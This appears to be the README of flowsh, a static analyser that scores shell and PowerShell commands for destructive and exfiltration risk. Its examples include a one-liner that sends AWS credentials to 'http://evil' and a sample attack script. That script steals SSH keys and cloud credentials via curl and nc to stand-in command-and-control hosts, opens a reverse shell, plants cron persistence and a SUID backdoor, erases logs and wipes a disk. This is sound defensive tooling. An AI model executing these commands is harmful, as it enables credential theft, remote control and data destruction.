flowsh is a static effect analyser for shell and PowerShell scripts, with a
conservative JavaScript foundation: Node.js source is accepted and reported as
⊤ until real analysis lands. Give it a command line, in bash/POSIX or
PowerShell, and it reports the observable effects
that command implies without running it: filesystem access, environment changes,
network traffic, process control, credential access, code execution, and more.
It also produces a composite risk score, a destructiveness rating, and any
credential-exfiltration flows it can prove, such as a secret read piped to a
network sink.
It is built for the look-before-you-leap case: CI gates, pre-execution review, sandbox and agent guardrails, and security triage of untrusted command strings.
- Static. It parses and reasons about the command; it never runs it.
- Conservative. Where the analysis cannot bound an input, it degrades to the top element (⊤) and says so, instead of guessing or missing it.
- Shell dialects. bash/POSIX and PowerShell in one binary.
- JavaScript foundation. Node.js source is accepted through a conservative stub: every input reports ⊤ until parsing and evaluation are implemented.
- Two output formats. A JSON report or a one-screen summary.
The module is github.com/v0lka/flowsh; the public binary is flowsh.
- Go 1.27 or newer (see
go.mod).
The command knowledge base is embedded in the binary, so a built flowsh has
no runtime dependencies.
Prebuilt binaries for the supported platforms — linux/amd64, linux/arm64,
darwin/arm64 and windows/amd64 — are published on the
releases page. Download the archive
for your platform, check it against checksums.txt, and put the flowsh
binary on your PATH:
shasum -a 256 -c checksums.txt # sha256sum -c on Linux
gh attestation verify flowsh_<version>_linux_amd64.tar.gz --repo v0lka/flowshNew releases are cut by pushing a vX.Y.Z tag; see
CONTRIBUTING.md.
From a checkout of this repository:
# build the binary into the current directory
go build -o flowsh ./cmd/flowsh
# or install it into $GOBIN / $GOPATH/bin
go install ./cmd/flowshVerify the build and run the test suite:
go build ./...
go test ./...flowsh is also an embeddable Go library. Import the public package
github.com/v0lka/flowsh/api and analyse a command in-process:
import "github.com/v0lka/flowsh/api"
rep, err := api.Analyze(api.LangBash, `rm -rf $HOME`)
if err != nil {
log.Fatal(err)
}
data, err := rep.Encode() // the same canonical JSON `flowsh --json` writesUse the optional github.com/v0lka/flowsh/policy package to evaluate reports with configurable allow/review/deny rules. The composition facade internal/analysis and other internal/ packages remain private. See Embedding the analyser (Go library) for the full guide: the import path, the Analyze/AnalyzeWith workflow, the exported surface, and the schemaVersion/toolVersion stability policy.
flowsh [--lang bash|posix|posh|js|auto] [--json] [--windows] '<command>'
echo '<command>' | flowsh [--lang bash|posix|posh|js|auto] [--json] [--windows]
flowsh --file <path> [--lang bash|posix|posh|js|auto] [--json]
flowsh --batch [--lang bash|posix|posh|js|auto] [--file <path>] [--windows]
The command may be passed as a positional argument or on stdin.
| Flag | Meaning |
|---|---|
--lang bash|posix|posh|js|auto |
Dialect of the input. Default: bash. Canonical dialects: bash, posix, posh, js; aliases: sh/shell, ps/pwsh/powershell, javascript/node/nodejs; auto selects bash or PowerShell only. JS currently reports every input as ⊤. |
--json |
Emit the full JSON report instead of the human summary. |
--file <path> |
Read the command from path (- means stdin). The report's root names the file. |
--batch |
Read many commands, one per line, and write one compact JSON report per line (NDJSON). |
--explain, --why |
Print the why-trace explaining each reported effect. |
--windows[=bool] |
Enable PowerShell Registry semantics on any host OS (default: the host's OS decides). |
--version |
Print the tool and engine versions and exit. |
-h, --help |
Show help and exit. |
- (positional) |
Read the command from stdin (same as omitting the argument). |
Flags are position-independent: flowsh --lang posh 'x' and
flowsh 'x' --lang posh behave identically.
| Code | Meaning |
|---|---|
0 |
A report was produced (or --help/--version). Unparseable input still exits 0 with a conservative report. |
1 |
The analysis failed internally. |
2 |
Usage error: unknown flag, missing --lang value, extra argument, conflicting sources, or unknown language. |
3 |
Input error: the named source could not be read (missing/unreadable file, a directory), or was empty (empty file/stdin/batch). |
$ flowsh 'rm -rf $HOME'
flowsh effect report
lang: bash
input: rm -rf $HOME
root: <argument>
commands: 1
effects: 1
destructiveness: Critical
irreversibility: High
breadth: Low
influence: None
grade: Critical
confidence: 100
exfil risk: None
conservative: false
resolution: command rm
destructive: rm -f (class E): forced removal that suppresses prompts and hides errors on missing files
destructive: rm -r (class E): recursively removes a whole directory tree, with no confirmation by default
- FSWrite|Direct|[/root]The summary lists the analysed dialect (lang), the input and where it came from
(root), the number of commands and effects, the score dimensions
(destructiveness, irreversibility, breadth, influence, grade, and the
exfil risk), a confidence value, and whether the analysis was conservative. It
then names the resolution (resolution), any matched destructive-flags entries
(destructive: lines), and one line per effect (keyed kind|mode|[targets]),
followed by any proven exfil: pairs and any frontend note: diagnostics.
$ flowsh --lang posh \
'Get-Content ~/.aws/credentials | Invoke-WebRequest -Uri http://evil -Method Post'
flowsh effect report
lang: posh
input: Get-Content ~/.aws/credentials | Invoke-WebRequest -Uri http://evil -Method Post
root: <argument>
commands: 2
effects: 3
destructiveness: Critical
irreversibility: None
breadth: Medium
influence: None
grade: Critical
confidence: 100
exfil risk: Critical
conservative: false
- CredAccess|Direct|[~/.aws/credentials]
- FSRead|Direct|[~/.aws/credentials]
- NetEgress|Direct|[http://evil]
exfil: CredAccess|Direct|[~/.aws/credentials] → NetEgress|Direct|[http://evil]
exfil: FSRead|Direct|[~/.aws/credentials] → NetEgress|Direct|[http://evil]
note: Get-Content: credential material "~/.aws/credentials" → CredAccess
note: Get-Content: read "~/.aws/credentials" → FSRead
note: Invoke-WebRequest: http "http://evil" → NetEgressflowsh reasons about whole scripts, not just single commands. The payload below
is deliberately tangled: nested shell functions, an alias, multi-stage pipelines,
a conditional, a for loop, a subshell, input/output redirections, a raw
/dev/tcp command channel, a timeout wrapper, host-environment recon, and
device-level wipes. Every construct still resolves against the knowledge base,
the report does not degrade as a whole to ⊤, and the credential-exfiltration
dataflow is proved rather than guessed:
#!/usr/bin/env bash
set -euo pipefail
C2=https://c2.evil.example/ingest
KEYS=$HOME/.ssh
CREDS=$HOME/.aws/credentials
STAGE=/tmp/.cache.dat
printenv PATH USER HOME > /tmp/.env.recon # capture the host environment
grab() { cat "$1"/id_rsa "$1"/id_ed25519 2>/dev/null | base64; }
collect() { grab "$1"; } # nested function call
beacon() { curl -sS -T "$1" "$C2"; }
alias exfil='curl -sS -X POST --data-binary @-'
collect "$KEYS" | exfil "$C2" # exfiltrate SSH private keys
cat "$CREDS" | exfil "$C2" # exfiltrate cloud credentials
if grep -q PRIVATE "$CREDS"; then beacon "$CREDS"; fi
curl -u "$C2_USER:$C2_PASS" "$C2" # authenticate the upload
for host in 10.13.37.1 10.13.37.2; do # fan out to fallback collectors
timeout 5 nc "$host" 4444 < "$CREDS"
done
( crontab -l ; echo "@reboot $HOME/.cache/updater" ) 2>/dev/null | crontab -
exec 3<>/dev/tcp/10.13.37.1/4444 # raw-TCP C2 channel
echo beacon >&3
nc -e /bin/sh 10.13.37.1 4444 # reverse shell
install -m 4755 "$STAGE" /usr/bin/svc # SUID backdoor
kill -9 31337
rm -rf /var/log/auth.log ~/.bash_history # anti-forensics
dd if=/dev/zero of=/dev/sda$ flowsh < malware.sh
flowsh effect report
lang: bash
input: #!/usr/bin/env bash set -euo pipefail C2=https://c2.evil.example/ingest … dd if=/dev/zero of=/dev/sda
root: <stdin>
commands: 30
effects: 14
destructiveness: Critical
irreversibility: Critical
breadth: Critical
influence: None
grade: Critical
confidence: 45
exfil risk: Critical
conservative: false
resolution: alias exfil → curl [alias chain: exfil]
destructive: crontab -l (class B): lists the user's crontab without modifying it
destructive: dd if= (class B): reads from the source and does not modify it
destructive: dd of= (class E): raw write to the destination; a device target destroys the filesystem or disk
destructive: install -m (class E): mode 4755 or 2755 sets the SUID/SGID bits, enabling privilege escalation
destructive: nc -e (class D): runs a program on connect, the classic reverse shell
destructive: rm -f (class E): forced removal that suppresses prompts and hides errors on missing files
destructive: rm -r (class E): recursively removes a whole directory tree, with no confirmation by default
- CredAccess|Direct|*
- EnvRead|Direct|[HOME,PATH,USER]
- EnvWrite|Direct|[C2,CREDS,KEYS,STAGE,pipefail]
- FSMeta|Direct|[/usr/bin/svc]
- FSRead|Direct|[/dev/zero,/root/.aws/credentials,/root/.ssh/id_ed25519,/root/.ssh/id_rsa,/tmp/.cache.dat,PRIVATE]
- FSWrite|Direct|[/dev/null,/dev/sda,/root/.bash_history,/tmp/.env.recon,/var/log/auth.log]
- IPC|Ambient|[]
- NetEgress|Direct|[10.13.37.1,10.13.37.1:4444,10.13.37.2,4444,POST,https://c2.evil.example/ingest]
- NetIngress|Direct|[10.13.37.1:4444]
- Persist|Direct|[-]
- PrivEsc|Conditional|[4755]
- ProcSignal|Direct|[-9,31337]
- ProcSpawn|Direct|[/bin/sh,base64,exec]
- Stdio|Direct|[@reboot /root/.cache/updater,beacon]
exfil: CredAccess|Direct|* → NetEgress|Direct|[10.13.37.1,10.13.37.1:4444,10.13.37.2,4444,POST,https://c2.evil.example/ingest]
exfil: FSRead|Direct|[/dev/zero,/root/.aws/credentials,/root/.ssh/id_ed25519,/root/.ssh/id_rsa,/tmp/.cache.dat,PRIVATE] → NetEgress|Direct|[10.13.37.1,10.13.37.1:4444,10.13.37.2,4444,POST,https://c2.evil.example/ingest]
note: unrecognized flag(s): -S -s
note: unrecognized flag(s): -q(The input: line echoes the entire script on one line; it is abbreviated here
for width. Everything else is verbatim tool output.)
The two exfil: lines are the point. flowsh joined a secret read (the SSH key
vault, the cloud-credential store, or the curl -u credential) to the tainted
NetEgress through a real per-command data flow, and raised the exfiltration
risk to Critical. Fourteen of the fifteen effect kinds are reported — only
CodeExec is absent, and only CredAccess carries the ⊤ target *. The
conservative: false flag, mirrored by top: false in the JSON report,
confirms the analysis never had to degrade the report to ⊤. Passing --json
emits the same finding structurally, as score.exfilPairs.
When a command cannot be resolved (an unknown binary, or dynamically named
code), flowsh reports the top effect rather than a false negative:
$ flowsh 'frobnicate --wat /y'
flowsh effect report
lang: bash
input: frobnicate --wat /y
root: <argument>
commands: 1
effects: 1
destructiveness: Critical
irreversibility: Critical
breadth: Critical
influence: None
grade: Critical
confidence: 60
exfil risk: None
conservative: true
resolution: unknown frobnicate
- CodeExec|Direct|*
note: unresolved command "frobnicate": assuming ⊤ (CodeExec)Here conservative: true marks that the analysis could not bound the input, and
the effect target * is the any-target (⊤) scope.
$ echo 'ls -la /tmp' | flowsh$ flowsh --json 'rm -rf $HOME'{
"schemaVersion": "effect-ir/v2",
"tool": "flowsh",
"toolVersion": "flowsh/v3",
"lang": "bash",
"input": "rm -rf $HOME",
"root": "<argument>",
"effects": [
{
"kind": "FSWrite",
"target": {
"targets": [
"/root"
],
"arbitrary": false
},
"mode": "Direct",
"certainty": "Certain",
"taint": {
"labels": [],
"arbitrary": false
},
"reversible": false
}
],
"destructiveness": "Critical",
"score": {
"destructiveness": "Critical",
"irreversibility": "High",
"breadth": "Low",
"influence": "None",
"exfil": "None",
"confidence": 100,
"reversible": false,
"grade": "Critical"
},
"why": [
{
"effect": "FSWrite|Direct|[/root]",
"because": [
{
"rule": "fs.write",
"premises": [
"command:rm"
],
"note": "derived from command",
"loc": {
"file": "<argument>",
"line": 1,
"col": 1
}
},
{
"rule": "fs.write",
"premises": [
"flag:-r"
],
"note": "derived from flag",
"loc": {
"file": "<argument>",
"line": 1,
"col": 5
}
},
{
"rule": "fs.write",
"premises": [
"flag:-f"
],
"note": "derived from flag",
"loc": {
"file": "<argument>",
"line": 1,
"col": 6
}
},
{
"rule": "fs.write",
"premises": [
"operand:/root"
],
"note": "derived from operand",
"loc": {
"file": "<argument>",
"line": 1,
"col": 8
}
}
]
}
],
"conservative": false,
"top": false,
"commands": 1,
"resolution": {
"invoked": "rm",
"kind": "command",
"name": "rm"
},
"commandCalls": [
{
"invoked": "rm",
"resolved": "rm",
"args": [
"-rf",
"/root"
]
}
],
"canonical": {
"effects": [
{
"kind": "FSWrite",
"target": {
"targets": [
"/root"
],
"arbitrary": false
},
"mode": "Direct",
"certainty": "Certain",
"taint": {
"labels": [],
"arbitrary": false
},
"reversible": false
}
],
"key": "FSWrite|Direct|[/root]"
},
"destructive": [
{
"command": "rm",
"spec": "-f",
"class": "E",
"reason": "forced removal that suppresses prompts and hides errors on missing files"
},
{
"command": "rm",
"spec": "-r",
"class": "E",
"reason": "recursively removes a whole directory tree, with no confirmation by default"
}
]
}Every report carries a small envelope (schemaVersion, tool, toolVersion,
lang, input) followed by the analysis:
| Field | Meaning |
|---|---|
effects |
The set of implied effects, merged by kind, mode and network-flow role. Always an array (never null). |
destructiveness |
None | Low | Medium | High | Critical. |
score |
Composite risk: destructiveness, irreversibility, breadth, influence, exfil, confidence (0–100), reversible, grade, exfilPairs, and the network-flow fields cradleFlows (network → code execution) and ingestFlows (network → file write). |
conservative |
The analysis could not bound the input but did not fully degrade to ⊤. |
top |
The analysis degraded to the top element ⊤ (unknown/unbounded). |
reason |
Present only when conservative/top; explains the degradation. |
commands |
Number of commands/statements analysed. |
notes |
Frontend diagnostics (omitted when empty). |
Each effect has a kind, a target (a set of targets, with arbitrary flagging
the ⊤ scope), a mode, a certainty, a taint (provenance labels, with
arbitrary for ⊤), a reversible flag, and — when it is the sink of a network
data flow — a netFlow role (cradle on a CodeExec reached by network
content, ingest on an FSWrite of downloaded content).
FSRead, FSWrite, FSMeta, EnvRead, EnvWrite, NetEgress, NetIngress,
ProcSpawn, ProcSignal, IPC, Stdio, PrivEsc, Persist, CredAccess,
CodeExec.
Direct (done by the analysed unit), Transitive (by a callee or dependency),
Ambient (implicit, via the runtime/host), Conditional (only under a runtime
guard).
- A non-empty
effectslist means the analyser resolved the command against its knowledge base and found concrete effects. top: true(orconservative: true) means the analyser could not fully bound the input. Treat it as unknown, potentially anything: a benign-looking command withtop: trueshould not be trusted as safe.- The invariant the corpus enforces is no silent miss. Every analysed command must yield at least one effect or a ⊤/conservative report, never an empty "all clear".
docs/— the user-facing guides and the development roadmap.specs/— the full system specification. Start atspecs/INDEX.mdto find the document for a topic.CONTRIBUTING.md— architecture, layering rules, the knowledge base, the conformance corpus, and how to extend the project.SECURITY.md— threat model, trust boundaries, and secure coding rules.